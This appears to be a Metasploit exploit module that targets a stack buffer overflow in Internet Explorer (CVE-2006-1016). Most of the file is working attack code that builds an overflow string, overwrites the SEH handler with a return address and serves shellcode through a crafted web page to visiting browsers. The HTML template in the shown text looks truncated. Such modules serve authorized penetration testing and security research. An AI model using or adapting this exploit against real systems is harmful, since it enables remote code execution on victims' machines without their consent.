## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Seh include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Internet Explorer isComponentInstalled Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Internet Explorer. This bug was patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', ], 'References' => [ [ 'CVE', '2006-1016' ], [ 'OSVDB', '31647' ], [ 'BID', '16870' ], ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x5c\x0a\x0d\x22", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' => 0x71ab8e4a } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 24 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Create the overflow string pattern = rand_text_alpha(8192) # Smash the return address with a bogus pointer pattern[744, 4] = [0xffffffff].pack('V') # Handle the exception :-) seh = generate_seh_payload(target.ret) pattern[6439, seh.length] = seh # Build out the HTML response page var_client = rand_text_alpha(rand(30)+2) var_html = rand_text_alpha(rand(30)+2) content = %Q|
#{var_html} | content = Rex::Text.randomize_space(content) # Insert the shellcode content.gsub!('__pattern__', pattern) print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end